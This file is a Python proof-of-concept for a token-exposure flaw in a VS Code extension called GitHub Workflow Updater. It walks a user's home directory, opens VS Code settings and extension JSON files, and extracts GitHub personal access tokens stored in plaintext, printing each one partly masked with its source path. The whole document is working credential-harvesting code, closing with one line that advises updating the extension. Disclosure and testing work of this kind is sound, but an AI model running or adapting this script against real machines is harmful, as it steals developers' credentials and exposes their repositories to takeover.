# CVE-2025-62794 PoC - GitHub Workflow Updater Token Exposure
# This PoC demonstrates how an attacker with read access to the home directory
# can extract plaintext GitHub tokens stored by the vulnerable extension
import os
import json
import glob
def find_vscode_config():
"""Search for VS Code configuration files"""
home = os.path.expanduser("~")
config_paths = [
os.path.join(home, ".config", "Code", "User", "settings.json"),
os.path.join(home, ".vscode", "settings.json"),
os.path.join(home, "AppData", "Roaming", "Code", "User", "settings.json"),
]
# Also search for any extension settings
for path in glob.glob(os.path.join(home, ".vscode", "**", "*.json"), recursive=True):
config_paths.append(path)
return config_paths
def extract_tokens(config_file):
"""Extract potential GitHub tokens from config file"""
tokens = []
try:
with open(config_file, 'r') as f:
data = json.load(f)
# Search for common GitHub token field names
token_fields = ['github-token', 'github.token', 'gh-token',
'githubWorkflowUpdater.token', 'accessToken']
for field in token_fields:
if field in data and isinstance(data[field], str):
if data[field].startswith('ghp_') or data[field].startswith('github_pat_'):
tokens.append({
'field': field,
'token': data[field],
'source': config_file
})
except (json.JSONDecodeError, FileNotFoundError, PermissionError):
pass
return tokens
def main():
print("CVE-2025-62794 - GitHub Workflow Updater Token Extraction PoC")
print("=" * 60)
config_paths = find_vscode_config()
all_tokens = []
for config_path in config_paths:
tokens = extract_tokens(config_path)
all_tokens.extend(tokens)
if all_tokens:
print(f"[!] Found {len(all_tokens)} potential GitHub tokens:")
for i, token_info in enumerate(all_tokens, 1):
print(f"\nToken {i}:")
print(f" Field: {token_info['field']}")
print(f" Token: {token_info['token'][:10]}...{token_info['token'][-4:]}")
print(f" Source: {token_info['source']}")
else:
print("[-] No exposed tokens found in typical locations")
print("\n[!] Note: Update to GitHub Workflow Updater 0.0.7+ to fix this vulnerability")
if __name__ == "__main__":
main()